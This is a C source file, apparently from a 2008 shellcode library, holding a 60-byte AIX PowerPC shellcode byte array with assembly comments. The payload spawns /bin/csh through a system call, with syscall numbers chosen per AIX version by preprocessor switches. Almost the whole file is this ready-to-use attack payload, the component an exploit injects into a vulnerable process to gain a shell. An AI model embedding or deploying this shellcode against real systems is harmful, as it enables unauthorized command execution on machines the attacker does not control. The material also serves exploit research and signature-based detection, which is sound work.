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/*
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 *  aix-power-shellcode.c
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 *  Copyright 2008 Ramon de Carvalho Valle <[email protected]>
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 *
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 *  This library is free software; you can redistribute it and/or
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 *  modify it under the terms of the GNU Lesser General Public
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 *  License as published by the Free Software Foundation; either
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 *  version 2.1 of the License, or (at your option) any later version.
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 *
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 *  This library is distributed in the hope that it will be useful,
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 *  but WITHOUT ANY WARRANTY; without even the implied warranty of
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 *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
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 *  Lesser General Public License for more details.
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 *
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 *  You should have received a copy of the GNU Lesser General Public
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 *  License along with this library; if not, write to the Free Software
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 *  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA
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 *
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 */
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/*
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 * Supported AIX versions:
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 *
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 * -DAIX614     AIX Version 6.1.4
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 * -DAIX613     AIX Version 6.1.3
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 * -DAIX612     AIX Version 6.1.2
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 * -DAIX611     AIX Version 6.1.1
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 * -DAIX5310    AIX Version 5.3.10
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 * -DAIX539     AIX Version 5.3.9
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 * -DAIX538     AIX Version 5.3.8
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 * -DAIX537     AIX Version 5.3.7
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 *
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 */
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char shellcode[]=           /*  60 bytes                          */
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    "\x3b\xa0\x07\xff"      /*  lil     r29,2047                  */
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    "\x7c\xa5\x2a\x79"      /*  xor.    r5,r5,r5                  */
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    "\x40\x82\xff\xf9"      /*  bnel    <shellcode>               */
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    "\x7f\xc8\x02\xa6"      /*  mflr    r30                       */
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    "\x3b\xde\x01\xff"      /*  cal     r30,511(r30)              */
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    "\x38\x7e\xfe\x29"      /*  cal     r3,-471(r30)              */
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    "\x98\xbe\xfe\x31"      /*  stb     r5,-463(r30)              */
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    "\x94\xa1\xff\xfc"      /*  stu     r5,-4(r1)                 */
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    "\x94\x61\xff\xfc"      /*  stu     r3,-4(r1)                 */
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    "\x7c\x24\x0b\x78"      /*  mr      r4,r1                     */
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#ifdef AIX614
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    "\x38\x5d\xf8\x08"      /*  cal     r2,-2040(r29)             */
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#endif
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#ifdef AIX613
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    "\x38\x5d\xf8\x08"      /*  cal     r2,-2040(r29)             */
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#endif
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#ifdef AIX612
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    "\x38\x5d\xf8\x08"      /*  cal     r2,-2040(r29)             */
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#endif
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#ifdef AIX611
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    "\x38\x5d\xf8\x08"      /*  cal     r2,-2040(r29)             */
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#endif
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#ifdef AIX610
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    "\x38\x5d\xf8\x07"      /*  cal     r2,-2041(r29)             */
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#endif
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#ifdef AIX5310
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    "\x38\x5d\xf8\x07"      /*  cal     r2,-2041(r29)             */
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#endif
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#ifdef AIX539
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    "\x38\x5d\xf8\x07"      /*  cal     r2,-2041(r29)             */
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#endif
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#ifdef AIX538
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    "\x38\x5d\xf8\x07"      /*  cal     r2,-2041(r29)             */
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#endif
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#ifdef AIX537
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    "\x38\x5d\xf8\x07"      /*  cal     r2,-2041(r29)             */
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#endif
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    "\x4c\xc6\x33\x42"      /*  crorc   6,6,6                     */
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    "\x44\xff\xff\x02"      /*  svca    0                         */
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    "/bin/csh"
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;
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